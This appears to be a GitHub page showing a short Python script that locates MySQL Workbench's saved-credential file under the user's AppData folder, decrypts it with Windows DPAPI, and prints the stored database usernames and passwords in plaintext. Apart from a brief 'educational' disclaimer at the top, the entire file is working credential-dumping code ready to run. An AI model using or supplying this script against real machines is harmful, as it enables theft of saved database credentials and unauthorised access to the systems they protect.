-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdecrypt_wb_passwords.py
53 lines (47 loc) · 1.63 KB
/
decrypt_wb_passwords.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
"""
DISCLAIMER: This code is for educational and proof-of-concept purposes only.
Unauthorized access to credentials is illegal and unethical. The decryption
method might break with future MySQL Workbench updates. Use responsibly and
ethically.
"""
import os
import win32crypt
import re
def extract_workbench_credentials():
"""Attempts to extract MySQL Workbench credentials."""
appdata = os.getenv('appdata')
if not appdata:
print("Error: %appdata% environment variable not found.")
return None
filepath = os.path.join(appdata, 'MySQL', 'Workbench', 'workbench_user_data.dat')
try:
with open(filepath, 'rb') as f:
data = f.read()
except FileNotFoundError:
print(f"Error: File not found: {filepath}")
return None
except OSError as e:
print(f"Error reading file: {e}")
return None
try:
creds_bytes = win32crypt.CryptUnprotectData(data)[1]
creds_str = creds_bytes.decode('utf-8', errors='ignore')
cleaned_creds = re.sub(r'[\x00-\x08\x0b\x0c\x0e-\x1f\n\r]', '', creds_str)
return cleaned_creds.split('\x03\x02')
except win32crypt.error as e:
print(f"Decryption error: {e}")
return None
except UnicodeDecodeError as e:
print(f"Decoding error: {e}")
return None
except Exception as e:
print(f"An unexpected error occurred: {e}")
return None
if __name__ == "__main__":
creds = extract_workbench_credentials()
if creds:
print("Extracted credentials:")
for cred in creds:
print(cred)
else:
print("Credential extraction failed.")